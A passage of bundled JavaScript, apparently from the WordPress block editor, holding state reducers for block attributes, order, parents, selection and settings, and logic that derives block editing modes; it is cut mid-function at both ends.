8820 // code changes can have on this reducer.
8821 attributes(state = /* @__PURE__ */ new Map(), action) {
8822 switch (action.type) {
8823 case "RECEIVE_BLOCKS":
8824 case "INSERT_BLOCKS": {
8825 const newState = new Map(state);
8826 getFlattenedBlockAttributes(action.blocks).forEach(
8827 ([key, value]) => {
8828 newState.set(key, value);
8829 }
8830 );
8831 return newState;
8832 }
8833 case "UPDATE_BLOCK": {
8834 if (!state.get(action.clientId) || !action.updates.attributes) {
8835 return state;
8836 }
8837 const newState = new Map(state);
8838 newState.set(action.clientId, {
8839 ...state.get(action.clientId),
8840 ...action.updates.attributes
8841 });
8842 return newState;
8843 }
8844 case "SYNC_DERIVED_BLOCK_ATTRIBUTES":
8845 case "UPDATE_BLOCK_ATTRIBUTES": {
8846 if (action.clientIds.every((id) => !state.get(id))) {
8847 return state;
8848 }
8849 let hasChange = false;
8850 const newState = new Map(state);
8851 for (const clientId of action.clientIds) {
8852 const updatedAttributeEntries = Object.entries(
8853 !!action.options?.uniqueByBlock ? action.attributes[clientId] : action.attributes ?? {}
8854 );
8855 if (updatedAttributeEntries.length === 0) {
8856 continue;
8857 }
8858 let hasUpdatedAttributes = false;
8859 const existingAttributes = state.get(clientId);
8860 const newAttributes = {};
8861 updatedAttributeEntries.forEach(([key, value]) => {
8862 if (existingAttributes[key] !== value) {
8863 hasUpdatedAttributes = true;
8864 newAttributes[key] = value;
8865 }
8866 });
8867 hasChange = hasChange || hasUpdatedAttributes;
8868 if (hasUpdatedAttributes) {
8869 newState.set(clientId, {
8870 ...existingAttributes,
8871 ...newAttributes
8872 });
8873 }
8874 }
8875 return hasChange ? newState : state;
8876 }
8877 case "REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
8878 if (!action.blocks) {
8879 return state;
8880 }
8881 const newState = new Map(state);
8882 action.replacedClientIds.forEach((clientId) => {
8883 newState.delete(clientId);
8884 });
8885 getFlattenedBlockAttributes(action.blocks).forEach(
8886 ([key, value]) => {
8887 newState.set(key, value);
8888 }
8889 );
8890 return newState;
8891 }
8892 case "REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
8893 const newState = new Map(state);
8894 action.removedClientIds.forEach((clientId) => {
8895 newState.delete(clientId);
8896 });
8897 return newState;
8898 }
8899 }
8900 return state;
8901 },
8902 // The state is using a Map instead of a plain object for performance reasons.
8903 // You can run the "./test/performance.js" unit test to check the impact
8904 // code changes can have on this reducer.
8905 order(state = /* @__PURE__ */ new Map(), action) {
8906 switch (action.type) {
8907 case "RECEIVE_BLOCKS": {
8908 const blockOrder = mapBlockOrder(action.blocks);
8909 const newState = new Map(state);
8910 blockOrder.forEach((order, clientId) => {
8911 if (clientId !== "") {
8912 newState.set(clientId, order);
8913 }
8914 });
8915 newState.set(
8916 "",
8917 (state.get("") ?? []).concat(blockOrder[""])
8918 );
8919 return newState;
8920 }
8921 case "INSERT_BLOCKS": {
8922 const { rootClientId = "" } = action;
8923 const subState = state.get(rootClientId) || [];
8924 const mappedBlocks = mapBlockOrder(
8925 action.blocks,
8926 rootClientId
8927 );
8928 const { index = subState.length } = action;
8929 const newState = new Map(state);
8930 mappedBlocks.forEach((order, clientId) => {
8931 newState.set(clientId, order);
8932 });
8933 newState.set(
8934 rootClientId,
8935 insertAt(
8936 subState,
8937 mappedBlocks.get(rootClientId),
8938 index
8939 )
8940 );
8941 return newState;
8942 }
8943 case "MOVE_BLOCKS_TO_POSITION": {
8944 const {
8945 fromRootClientId = "",
8946 toRootClientId = "",
8947 clientIds
8948 } = action;
8949 const { index = state.get(toRootClientId).length } = action;
8950 if (fromRootClientId === toRootClientId) {
8951 const subState = state.get(toRootClientId);
8952 const fromIndex = subState.indexOf(clientIds[0]);
8953 const newState2 = new Map(state);
8954 newState2.set(
8955 toRootClientId,
8956 moveTo(
8957 state.get(toRootClientId),
8958 fromIndex,
8959 index,
8960 clientIds.length
8961 )
8962 );
8963 return newState2;
8964 }
8965 const newState = new Map(state);
8966 newState.set(
8967 fromRootClientId,
8968 state.get(fromRootClientId)?.filter((id) => !clientIds.includes(id)) ?? []
8969 );
8970 newState.set(
8971 toRootClientId,
8972 insertAt(state.get(toRootClientId), clientIds, index)
8973 );
8974 return newState;
8975 }
8976 case "MOVE_BLOCKS_UP": {
8977 const { clientIds, rootClientId = "" } = action;
8978 const firstClientId = clientIds[0];
8979 const subState = state.get(rootClientId);
8980 if (!subState.length || firstClientId === subState[0]) {
8981 return state;
8982 }
8983 const firstIndex = subState.indexOf(firstClientId);
8984 const newState = new Map(state);
8985 newState.set(
8986 rootClientId,
8987 moveTo(
8988 subState,
8989 firstIndex,
8990 firstIndex - 1,
8991 clientIds.length
8992 )
8993 );
8994 return newState;
8995 }
8996 case "MOVE_BLOCKS_DOWN": {
8997 const { clientIds, rootClientId = "" } = action;
8998 const firstClientId = clientIds[0];
8999 const lastClientId = clientIds[clientIds.length - 1];
9000 const subState = state.get(rootClientId);
9001 if (!subState.length || lastClientId === subState[subState.length - 1]) {
9002 return state;
9003 }
9004 const firstIndex = subState.indexOf(firstClientId);
9005 const newState = new Map(state);
9006 newState.set(
9007 rootClientId,
9008 moveTo(
9009 subState,
9010 firstIndex,
9011 firstIndex + 1,
9012 clientIds.length
9013 )
9014 );
9015 return newState;
9016 }
9017 case "REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
9018 const { clientIds } = action;
9019 if (!action.blocks) {
9020 return state;
9021 }
9022 const mappedBlocks = mapBlockOrder(action.blocks);
9023 const newState = new Map(state);
9024 action.replacedClientIds.forEach((clientId) => {
9025 newState.delete(clientId);
9026 });
9027 mappedBlocks.forEach((order, clientId) => {
9028 if (clientId !== "") {
9029 newState.set(clientId, order);
9030 }
9031 });
9032 newState.forEach((order, clientId) => {
9033 const newSubOrder = Object.values(order).reduce(
9034 (result, subClientId) => {
9035 if (subClientId === clientIds[0]) {
9036 return [...result, ...mappedBlocks.get("")];
9037 }
9038 if (clientIds.indexOf(subClientId) === -1) {
9039 result.push(subClientId);
9040 }
9041 return result;
9042 },
9043 []
9044 );
9045 newState.set(clientId, newSubOrder);
9046 });
9047 return newState;
9048 }
9049 case "REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
9050 const newState = new Map(state);
9051 action.removedClientIds.forEach((clientId) => {
9052 newState.delete(clientId);
9053 });
9054 newState.forEach((order, clientId) => {
9055 const newSubOrder = order?.filter(
9056 (id) => !action.removedClientIds.includes(id)
9057 ) ?? [];
9058 if (newSubOrder.length !== order.length) {
9059 newState.set(clientId, newSubOrder);
9060 }
9061 });
9062 return newState;
9063 }
9064 }
9065 return state;
9066 },
9067 // While technically redundant data as the inverse of `order`, it serves as
9068 // an optimization for the selectors which derive the ancestry of a block.
9069 parents(state = /* @__PURE__ */ new Map(), action) {
9070 switch (action.type) {
9071 case "RECEIVE_BLOCKS": {
9072 const newState = new Map(state);
9073 mapBlockParents(action.blocks).forEach(
9074 ([key, value]) => {
9075 newState.set(key, value);
9076 }
9077 );
9078 return newState;
9079 }
9080 case "INSERT_BLOCKS": {
9081 const newState = new Map(state);
9082 mapBlockParents(
9083 action.blocks,
9084 action.rootClientId || ""
9085 ).forEach(([key, value]) => {
9086 newState.set(key, value);
9087 });
9088 return newState;
9089 }
9090 case "MOVE_BLOCKS_TO_POSITION": {
9091 const newState = new Map(state);
9092 action.clientIds.forEach((id) => {
9093 newState.set(id, action.toRootClientId || "");
9094 });
9095 return newState;
9096 }
9097 case "REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
9098 const newState = new Map(state);
9099 action.replacedClientIds.forEach((clientId) => {
9100 newState.delete(clientId);
9101 });
9102 mapBlockParents(
9103 action.blocks,
9104 state.get(action.clientIds[0])
9105 ).forEach(([key, value]) => {
9106 newState.set(key, value);
9107 });
9108 return newState;
9109 }
9110 case "REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN": {
9111 const newState = new Map(state);
9112 action.removedClientIds.forEach((clientId) => {
9113 newState.delete(clientId);
9114 });
9115 return newState;
9116 }
9117 }
9118 return state;
9119 },
9120 controlledInnerBlocks(state = {}, { type, clientId, hasControlledInnerBlocks }) {
9121 if (type === "SET_HAS_CONTROLLED_INNER_BLOCKS") {
9122 return {
9123 ...state,
9124 [clientId]: hasControlledInnerBlocks
9125 };
9126 }
9127 return state;
9128 }
9129});
9130function isBlockInterfaceHidden(state = false, action) {
9131 switch (action.type) {
9132 case "HIDE_BLOCK_INTERFACE":
9133 return true;
9134 case "SHOW_BLOCK_INTERFACE":
9135 return false;
9136 }
9137 return state;
9138}
9139function isTyping(state = false, action) {
9140 switch (action.type) {
9141 case "START_TYPING":
9142 return true;
9143 case "STOP_TYPING":
9144 return false;
9145 }
9146 return state;
9147}
9148function isDragging(state = false, action) {
9149 switch (action.type) {
9150 case "START_DRAGGING":
9151 return true;
9152 case "STOP_DRAGGING":
9153 return false;
9154 }
9155 return state;
9156}
9157function draggedBlocks(state = [], action) {
9158 switch (action.type) {
9159 case "START_DRAGGING_BLOCKS":
9160 return action.clientIds;
9161 case "STOP_DRAGGING_BLOCKS":
9162 return [];
9163 }
9164 return state;
9165}
9166function blockVisibility(state = {}, action) {
9167 if (action.type === "SET_BLOCK_VISIBILITY") {
9168 return {
9169 ...state,
9170 ...action.updates
9171 };
9172 }
9173 return state;
9174}
9175function selectionHelper(state = {}, action) {
9176 switch (action.type) {
9177 case "CLEAR_SELECTED_BLOCK": {
9178 if (state.clientId) {
9179 return {};
9180 }
9181 return state;
9182 }
9183 case "SELECT_BLOCK":
9184 if (action.clientId === state.clientId) {
9185 return state;
9186 }
9187 return { clientId: action.clientId };
9188 case "REPLACE_INNER_BLOCKS":
9189 case "INSERT_BLOCKS": {
9190 if (!action.updateSelection || !action.blocks.length) {
9191 return state;
9192 }
9193 return { clientId: action.blocks[0].clientId };
9194 }
9195 case "REMOVE_BLOCKS":
9196 if (!action.clientIds || !action.clientIds.length || action.clientIds.indexOf(state.clientId) === -1) {
9197 return state;
9198 }
9199 return {};
9200 case "REPLACE_BLOCKS": {
9201 if (action.clientIds.indexOf(state.clientId) === -1) {
9202 return state;
9203 }
9204 const blockToSelect = action.blocks[action.indexToSelect] || action.blocks[action.blocks.length - 1];
9205 if (!blockToSelect) {
9206 return {};
9207 }
9208 if (blockToSelect.clientId === state.clientId) {
9209 return state;
9210 }
9211 return { clientId: blockToSelect.clientId };
9212 }
9213 }
9214 return state;
9215}
9216function selection(state = {}, action) {
9217 switch (action.type) {
9218 case "SELECTION_CHANGE":
9219 if (action.clientId) {
9220 return {
9221 selectionStart: {
9222 clientId: action.clientId,
9223 attributeKey: action.attributeKey,
9224 offset: action.startOffset
9225 },
9226 selectionEnd: {
9227 clientId: action.clientId,
9228 attributeKey: action.attributeKey,
9229 offset: action.endOffset
9230 }
9231 };
9232 }
9233 return {
9234 selectionStart: action.start || state.selectionStart,
9235 selectionEnd: action.end || state.selectionEnd
9236 };
9237 case "RESET_SELECTION":
9238 const { selectionStart: selectionStart2, selectionEnd: selectionEnd2 } = action;
9239 return {
9240 selectionStart: selectionStart2,
9241 selectionEnd: selectionEnd2
9242 };
9243 case "MULTI_SELECT":
9244 const { start, end } = action;
9245 if (start === state.selectionStart?.clientId && end === state.selectionEnd?.clientId) {
9246 return state;
9247 }
9248 return {
9249 selectionStart: { clientId: start },
9250 selectionEnd: { clientId: end }
9251 };
9252 case "RESET_BLOCKS":
9253 const startClientId = state?.selectionStart?.clientId;
9254 const endClientId = state?.selectionEnd?.clientId;
9255 if (!startClientId && !endClientId) {
9256 return state;
9257 }
9258 if (!action.blocks.some(
9259 (block) => block.clientId === startClientId
9260 )) {
9261 return {
9262 selectionStart: {},
9263 selectionEnd: {}
9264 };
9265 }
9266 if (!action.blocks.some(
9267 (block) => block.clientId === endClientId
9268 )) {
9269 return {
9270 ...state,
9271 selectionEnd: state.selectionStart
9272 };
9273 }
9274 }
9275 const selectionStart = selectionHelper(state.selectionStart, action);
9276 const selectionEnd = selectionHelper(state.selectionEnd, action);
9277 if (selectionStart === state.selectionStart && selectionEnd === state.selectionEnd) {
9278 return state;
9279 }
9280 return {
9281 selectionStart,
9282 selectionEnd
9283 };
9284}
9285function isMultiSelecting(state = false, action) {
9286 switch (action.type) {
9287 case "START_MULTI_SELECT":
9288 return true;
9289 case "STOP_MULTI_SELECT":
9290 return false;
9291 }
9292 return state;
9293}
9294function isSelectionEnabled(state = true, action) {
9295 switch (action.type) {
9296 case "TOGGLE_SELECTION":
9297 return action.isSelectionEnabled;
9298 }
9299 return state;
9300}
9301function removalPromptData(state = false, action) {
9302 switch (action.type) {
9303 case "DISPLAY_BLOCK_REMOVAL_PROMPT":
9304 const { clientIds, selectPrevious, message } = action;
9305 return {
9306 clientIds,
9307 selectPrevious,
9308 message
9309 };
9310 case "CLEAR_BLOCK_REMOVAL_PROMPT":
9311 return false;
9312 }
9313 return state;
9314}
9315function blockRemovalRules(state = false, action) {
9316 switch (action.type) {
9317 case "SET_BLOCK_REMOVAL_RULES":
9318 return action.rules;
9319 }
9320 return state;
9321}
9322function initialPosition(state = null, action) {
9323 if (action.type === "REPLACE_BLOCKS" && action.initialPosition !== void 0) {
9324 return action.initialPosition;
9325 } else if ([
9326 "MULTI_SELECT",
9327 "SELECT_BLOCK",
9328 "RESET_SELECTION",
9329 "INSERT_BLOCKS",
9330 "REPLACE_INNER_BLOCKS"
9331 ].includes(action.type)) {
9332 return action.initialPosition;
9333 }
9334 return state;
9335}
9336function blocksMode(state = {}, action) {
9337 if (action.type === "TOGGLE_BLOCK_MODE") {
9338 const { clientId } = action;
9339 return {
9340 ...state,
9341 [clientId]: state[clientId] && state[clientId] === "html" ? "visual" : "html"
9342 };
9343 }
9344 return state;
9345}
9346function insertionCue(state = null, action) {
9347 switch (action.type) {
9348 case "SHOW_INSERTION_POINT": {
9349 const {
9350 rootClientId,
9351 index,
9352 __unstableWithInserter,
9353 operation,
9354 nearestSide
9355 } = action;
9356 const nextState = {
9357 rootClientId,
9358 index,
9359 __unstableWithInserter,
9360 operation,
9361 nearestSide
9362 };
9363 return es6_default()(state, nextState) ? state : nextState;
9364 }
9365 case "HIDE_INSERTION_POINT":
9366 return null;
9367 }
9368 return state;
9369}
9370function template(state = { isValid: true }, action) {
9371 switch (action.type) {
9372 case "SET_TEMPLATE_VALIDITY":
9373 return {
9374 ...state,
9375 isValid: action.isValid
9376 };
9377 }
9378 return state;
9379}
9380function settings(state = SETTINGS_DEFAULTS, action) {
9381 switch (action.type) {
9382 case "UPDATE_SETTINGS": {
9383 const updatedSettings = action.reset ? {
9384 ...SETTINGS_DEFAULTS,
9385 ...action.settings
9386 } : {
9387 ...state,
9388 ...action.settings
9389 };
9390 Object.defineProperty(updatedSettings, "__unstableIsPreviewMode", {
9391 get() {
9392 external_wp_deprecated_default()("__unstableIsPreviewMode", {
9393 since: "6.8",
9394 alternative: "isPreviewMode"
9395 });
9396 return this.isPreviewMode;
9397 }
9398 });
9399 return updatedSettings;
9400 }
9401 }
9402 return state;
9403}
9404function preferences(state = PREFERENCES_DEFAULTS, action) {
9405 switch (action.type) {
9406 case "INSERT_BLOCKS":
9407 case "REPLACE_BLOCKS": {
9408 const nextInsertUsage = action.blocks.reduce(
9409 (prevUsage, block) => {
9410 const { attributes, name: blockName } = block;
9411 let id = blockName;
9412 const match = (0,external_wp_data_namespaceObject.select)(external_wp_blocks_namespaceObject.store).getActiveBlockVariation(
9413 blockName,
9414 attributes
9415 );
9416 if (match?.name) {
9417 id += "/" + match.name;
9418 }
9419 if (blockName === "core/block") {
9420 id += "/" + attributes.ref;
9421 }
9422 return {
9423 ...prevUsage,
9424 [id]: {
9425 time: action.time,
9426 count: prevUsage[id] ? prevUsage[id].count + 1 : 1
9427 }
9428 };
9429 },
9430 state.insertUsage
9431 );
9432 return {
9433 ...state,
9434 insertUsage: nextInsertUsage
9435 };
9436 }
9437 }
9438 return state;
9439}
9440const blockListSettings = (state = {}, action) => {
9441 switch (action.type) {
9442 // Even if the replaced blocks have the same client ID, our logic
9443 // should correct the state.
9444 case "REPLACE_BLOCKS":
9445 case "REMOVE_BLOCKS": {
9446 return Object.fromEntries(
9447 Object.entries(state).filter(
9448 ([id]) => !action.clientIds.includes(id)
9449 )
9450 );
9451 }
9452 case "UPDATE_BLOCK_LIST_SETTINGS": {
9453 const updates = typeof action.clientId === "string" ? { [action.clientId]: action.settings } : action.clientId;
9454 for (const clientId in updates) {
9455 if (!updates[clientId]) {
9456 if (!state[clientId]) {
9457 delete updates[clientId];
9458 }
9459 } else if (es6_default()(state[clientId], updates[clientId])) {
9460 delete updates[clientId];
9461 }
9462 }
9463 if (Object.keys(updates).length === 0) {
9464 return state;
9465 }
9466 const merged = { ...state, ...updates };
9467 for (const clientId in updates) {
9468 if (!updates[clientId]) {
9469 delete merged[clientId];
9470 }
9471 }
9472 return merged;
9473 }
9474 }
9475 return state;
9476};
9477function lastBlockAttributesChange(state = null, action) {
9478 switch (action.type) {
9479 case "UPDATE_BLOCK":
9480 if (!action.updates.attributes) {
9481 break;
9482 }
9483 return { [action.clientId]: action.updates.attributes };
9484 case "UPDATE_BLOCK_ATTRIBUTES":
9485 return action.clientIds.reduce(
9486 (accumulator, id) => ({
9487 ...accumulator,
9488 [id]: !!action.options?.uniqueByBlock ? action.attributes[id] : action.attributes
9489 }),
9490 {}
9491 );
9492 }
9493 return state;
9494}
9495function highlightedBlock(state, action) {
9496 switch (action.type) {
9497 case "TOGGLE_BLOCK_HIGHLIGHT":
9498 const { clientId, isHighlighted } = action;
9499 if (isHighlighted) {
9500 return clientId;
9501 } else if (state === clientId) {
9502 return null;
9503 }
9504 return state;
9505 case "SELECT_BLOCK":
9506 if (action.clientId !== state) {
9507 return null;
9508 }
9509 }
9510 return state;
9511}
9512function hasBlockSpotlight(state, action) {
9513 switch (action.type) {
9514 case "TOGGLE_BLOCK_SPOTLIGHT":
9515 const { clientId, hasBlockSpotlight: _hasBlockSpotlight } = action;
9516 if (_hasBlockSpotlight) {
9517 return clientId;
9518 } else if (state === clientId) {
9519 return null;
9520 }
9521 return state;
9522 case "SELECT_BLOCK":
9523 if (action.clientId !== state) {
9524 return null;
9525 }
9526 return state;
9527 case "SELECTION_CHANGE":
9528 if (action.start?.clientId !== state || action.end?.clientId !== state) {
9529 return null;
9530 }
9531 return state;
9532 case "CLEAR_SELECTED_BLOCK":
9533 return null;
9534 }
9535 return state;
9536}
9537function expandedBlock(state = null, action) {
9538 switch (action.type) {
9539 case "SET_BLOCK_EXPANDED_IN_LIST_VIEW":
9540 return action.clientId;
9541 case "SELECT_BLOCK":
9542 if (action.clientId !== state) {
9543 return null;
9544 }
9545 }
9546 return state;
9547}
9548function lastBlockInserted(state = {}, action) {
9549 switch (action.type) {
9550 case "INSERT_BLOCKS":
9551 case "REPLACE_BLOCKS":
9552 if (!action.blocks.length) {
9553 return state;
9554 }
9555 const clientIds = action.blocks.map((block) => {
9556 return block.clientId;
9557 });
9558 const source = action.meta?.source;
9559 return { clientIds, source };
9560 case "RESET_BLOCKS":
9561 return {};
9562 }
9563 return state;
9564}
9565function temporarilyEditingAsBlocks(state = "", action) {
9566 if (action.type === "SET_TEMPORARILY_EDITING_AS_BLOCKS") {
9567 return action.temporarilyEditingAsBlocks;
9568 }
9569 return state;
9570}
9571function temporarilyEditingFocusModeRevert(state = "", action) {
9572 if (action.type === "SET_TEMPORARILY_EDITING_AS_BLOCKS") {
9573 return action.focusModeToRevert;
9574 }
9575 return state;
9576}
9577function blockEditingModes(state = /* @__PURE__ */ new Map(), action) {
9578 switch (action.type) {
9579 case "SET_BLOCK_EDITING_MODE":
9580 if (state.get(action.clientId) === action.mode) {
9581 return state;
9582 }
9583 return new Map(state).set(action.clientId, action.mode);
9584 case "UNSET_BLOCK_EDITING_MODE": {
9585 if (!state.has(action.clientId)) {
9586 return state;
9587 }
9588 const newState = new Map(state);
9589 newState.delete(action.clientId);
9590 return newState;
9591 }
9592 case "RESET_BLOCKS": {
9593 return state.has("") ? (/* @__PURE__ */ new Map()).set("", state.get("")) : state;
9594 }
9595 }
9596 return state;
9597}
9598function openedBlockSettingsMenu(state = null, action) {
9599 if ("SET_OPENED_BLOCK_SETTINGS_MENU" === action.type) {
9600 return action?.clientId ?? null;
9601 }
9602 return state;
9603}
9604function styleOverrides(state = /* @__PURE__ */ new Map(), action) {
9605 switch (action.type) {
9606 case "SET_STYLE_OVERRIDE":
9607 return new Map(state).set(action.id, action.style);
9608 case "DELETE_STYLE_OVERRIDE": {
9609 const newState = new Map(state);
9610 newState.delete(action.id);
9611 return newState;
9612 }
9613 }
9614 return state;
9615}
9616function registeredInserterMediaCategories(state = [], action) {
9617 switch (action.type) {
9618 case "REGISTER_INSERTER_MEDIA_CATEGORY":
9619 return [...state, action.category];
9620 }
9621 return state;
9622}
9623function lastFocus(state = false, action) {
9624 switch (action.type) {
9625 case "LAST_FOCUS":
9626 return action.lastFocus;
9627 }
9628 return state;
9629}
9630function zoomLevel(state = 100, action) {
9631 switch (action.type) {
9632 case "SET_ZOOM_LEVEL":
9633 return action.zoom;
9634 case "RESET_ZOOM_LEVEL":
9635 return 100;
9636 }
9637 return state;
9638}
9639function insertionPoint(state = null, action) {
9640 switch (action.type) {
9641 case "SET_INSERTION_POINT":
9642 return action.value;
9643 case "SELECT_BLOCK":
9644 return null;
9645 }
9646 return state;
9647}
9648const combinedReducers = (0,external_wp_data_namespaceObject.combineReducers)({
9649 blocks,
9650 isDragging,
9651 isTyping,
9652 isBlockInterfaceHidden,
9653 draggedBlocks,
9654 selection,
9655 isMultiSelecting,
9656 isSelectionEnabled,
9657 initialPosition,
9658 blocksMode,
9659 blockListSettings,
9660 insertionPoint,
9661 insertionCue,
9662 template,
9663 settings,
9664 preferences,
9665 lastBlockAttributesChange,
9666 lastFocus,
9667 expandedBlock,
9668 highlightedBlock,
9669 lastBlockInserted,
9670 temporarilyEditingAsBlocks,
9671 temporarilyEditingFocusModeRevert,
9672 blockVisibility,
9673 blockEditingModes,
9674 styleOverrides,
9675 removalPromptData,
9676 blockRemovalRules,
9677 openedBlockSettingsMenu,
9678 registeredInserterMediaCategories,
9679 zoomLevel,
9680 hasBlockSpotlight
9681});
9682function getBlockTreeBlock(state, clientId) {
9683 if (clientId === "") {
9684 const rootBlock = state.blocks.tree.get(clientId);
9685 if (!rootBlock) {
9686 return;
9687 }
9688 return {
9689 clientId: "",
9690 ...rootBlock
9691 };
9692 }
9693 if (!state.blocks.controlledInnerBlocks[clientId]) {
9694 return state.blocks.tree.get(clientId);
9695 }
9696 const controlledTree = state.blocks.tree.get(`controlled||${clientId}`);
9697 const regularTree = state.blocks.tree.get(clientId);
9698 return {
9699 ...regularTree,
9700 innerBlocks: controlledTree?.innerBlocks
9701 };
9702}
9703function traverseBlockTree(state, clientId, callback) {
9704 const tree = getBlockTreeBlock(state, clientId);
9705 if (!tree) {
9706 return;
9707 }
9708 callback(tree);
9709 if (!tree?.innerBlocks?.length) {
9710 return;
9711 }
9712 for (const innerBlock of tree?.innerBlocks) {
9713 traverseBlockTree(state, innerBlock.clientId, callback);
9714 }
9715}
9716function findParentInClientIdsList(state, clientId, clientIds) {
9717 if (!clientIds.length) {
9718 return;
9719 }
9720 let parent = state.blocks.parents.get(clientId);
9721 while (parent !== void 0) {
9722 if (clientIds.includes(parent)) {
9723 return parent;
9724 }
9725 parent = state.blocks.parents.get(parent);
9726 }
9727}
9728function hasBindings(block) {
9729 return block?.attributes?.metadata?.bindings && Object.keys(block?.attributes?.metadata?.bindings).length;
9730}
9731function getDerivedBlockEditingModesForTree(state, treeClientId = "") {
9732 const isZoomedOut = state?.zoomLevel < 100 || state?.zoomLevel === "auto-scaled";
9733 const derivedBlockEditingModes = /* @__PURE__ */ new Map();
9734 const sectionRootClientId = state.settings?.[sectionRootClientIdKey];
9735 const sectionClientIds = state.blocks.order.get(sectionRootClientId);
9736 const hasDisabledBlocks = Array.from(state.blockEditingModes).some(
9737 ([, mode]) => mode === "disabled"
9738 );
9739 const templatePartClientIds = [];
9740 const syncedPatternClientIds = [];
9741 Object.keys(state.blocks.controlledInnerBlocks).forEach((clientId) => {
9742 const block = state.blocks.byClientId?.get(clientId);
9743 if (block?.name === "core/template-part") {
9744 templatePartClientIds.push(clientId);
9745 }
9746 if (block?.name === "core/block") {
9747 syncedPatternClientIds.push(clientId);
9748 }
9749 });
9750 const contentOnlyTemplateLockedClientIds = Object.keys(
9751 state.blockListSettings
9752 ).filter(
9753 (clientId) => state.blockListSettings[clientId]?.templateLock === "contentOnly"
9754 );
9755 const unsyncedPatternClientIds = !!window?.__experimentalContentOnlyPatternInsertion ? Array.from(state.blocks.attributes.keys()).filter(
9756 (clientId) => state.blocks.attributes.get(clientId)?.metadata?.patternName
9757 ) : [];
9758 const contentOnlyParents = [
9759 ...contentOnlyTemplateLockedClientIds,
9760 ...unsyncedPatternClientIds,
9761 ...window?.__experimentalContentOnlyPatternInsertion ? templatePartClientIds : []
9762 ];
9763 traverseBlockTree(state, treeClientId, (block) => {
9764 const { clientId, name: blockName } = block;
9765 if (state.blockEditingModes.has(clientId)) {
9766 return;
9767 }
9768 if (hasDisabledBlocks) {
9769 let ancestorBlockEditingMode;
9770 let parent = state.blocks.parents.get(clientId);
9771 while (parent !== void 0) {
9772 if (state.blockEditingModes.has(parent)) {
9773 ancestorBlockEditingMode = state.blockEditingModes.get(parent);
9774 }
9775 if (ancestorBlockEditingMode) {
9776 break;
9777 }
9778 parent = state.blocks.parents.get(parent);
9779 }
9780 if (ancestorBlockEditingMode === "disabled") {
9781 derivedBlockEditingModes.set(clientId, "disabled");
9782 return;
9783 }
9784 }
9785 if (isZoomedOut) {
9786 if (clientId === sectionRootClientId) {
9787 derivedBlockEditingModes.set(clientId, "contentOnly");
9788 return;
9789 }
9790 if (!sectionClientIds?.length) {
9791 derivedBlockEditingModes.set(clientId, "disabled");
9792 return;
9793 }
9794 if (sectionClientIds.includes(clientId)) {
9795 derivedBlockEditingModes.set(clientId, "contentOnly");
9796 return;
9797 }
9798 derivedBlockEditingModes.set(clientId, "disabled");
9799 return;
9800 }
9801 if (syncedPatternClientIds.length) {
9802 if (syncedPatternClientIds.includes(clientId)) {
9803 if (findParentInClientIdsList(
9804 state,
9805 clientId,
9806 syncedPatternClientIds
9807 )) {
9808 derivedBlockEditingModes.set(clientId, "disabled");
9809 return;
9810 }
9811 return;
9812 }
9813 const parentPatternClientId = findParentInClientIdsList(
9814 state,
9815 clientId,
9816 syncedPatternClientIds
9817 );
9818 if (parentPatternClientId) {
9819 if (findParentInClientIdsList(
9820 state,
9821 parentPatternClientId,
9822 syncedPatternClientIds
9823 )) {
9824 derivedBlockEditingModes.set(clientId, "disabled");
9825 return;
9826 }
9827 if (hasBindings(block)) {
9828 derivedBlockEditingModes.set(clientId, "contentOnly");
9829 return;
9830 }
9831 derivedBlockEditingModes.set(clientId, "disabled");
9832 }
9833 }
9834 if (contentOnlyParents.length) {
9835 const hasContentOnlyParent = !!findParentInClientIdsList(
9836 state,
9837 clientId,
9838 contentOnlyParents
9839 );
9840 if (hasContentOnlyParent) {
9841 if (isContentBlock(blockName)) {
9842 derivedBlockEditingModes.set(clientId, "contentOnly");
9843 } else {
9844 derivedBlockEditingModes.set(clientId, "disabled");
9845 }
9846 }
9847 }
9848 });
9849 return derivedBlockEditingModes;
9850}
9851function getDerivedBlockEditingModesUpdates({
9852 prevState,
9853 nextState,
9854 addedBlocks,
9855 removedClientIds
9856}) {
9857 const prevDerivedBlockEditingModes = prevState.derivedBlockEditingModes;
9858 let nextDerivedBlockEditingModes;
9859 removedClientIds?.forEach((clientId) => {
9860 traverseBlockTree(prevState, clientId, (block) => {
9861 if (prevDerivedBlockEditingModes.has(block.clientId)) {
9862 if (!nextDerivedBlockEditingModes) {
9863 nextDerivedBlockEditingModes = new Map(
9864 prevDerivedBlockEditingModes
9865 );
9866 }
9867 nextDerivedBlockEditingModes.delete(block.clientId);
9868 }
9869 });
9870 });
9871 addedBlocks?.forEach((addedBlock) => {
9872 const updates = getDerivedBlockEditingModesForTree(
9873 nextState,
9874 addedBlock.clientId
9875 );
9876 if (updates.size) {
9877 if (!nextDerivedBlockEditingModes) {
9878 nextDerivedBlockEditingModes = new Map([
9879 ...prevDerivedBlockEditingModes?.size ? prevDerivedBlockEditingModes : [],
9880 ...updates
9881 ]);
9882 } else {
9883 nextDerivedBlockEditingModes = new Map([
9884 ...nextDerivedBlockEditingModes?.size ? nextDerivedBlockEditingModes : [],
9885 ...updates
9886 ]);
9887 }
9888 }
9889 });
9890 return nextDerivedBlockEditingModes;
9891}
9892function withDerivedBlockEditingModes(reducer) {
9893 return (state, action) => {
9894 const nextState = reducer(state, action);
9895 if (action.type !== "SET_EDITOR_MODE" && nextState === state) {
9896 return state;
9897 }
9898 switch (action.type) {
9899 case "REMOVE_BLOCKS": {
9900 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
9901 prevState: state,
9902 nextState,
9903 removedClientIds: action.clientIds
9904 });
9905 if (nextDerivedBlockEditingModes) {
9906 return {
9907 ...nextState,
9908 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
9909 };
9910 }
9911 break;
9912 }
9913 case "RECEIVE_BLOCKS":
9914 case "INSERT_BLOCKS": {
9915 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
9916 prevState: state,
9917 nextState,
9918 addedBlocks: action.blocks
9919 });
9920 if (nextDerivedBlockEditingModes) {
9921 return {
9922 ...nextState,
9923 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
9924 };
9925 }
9926 break;
9927 }
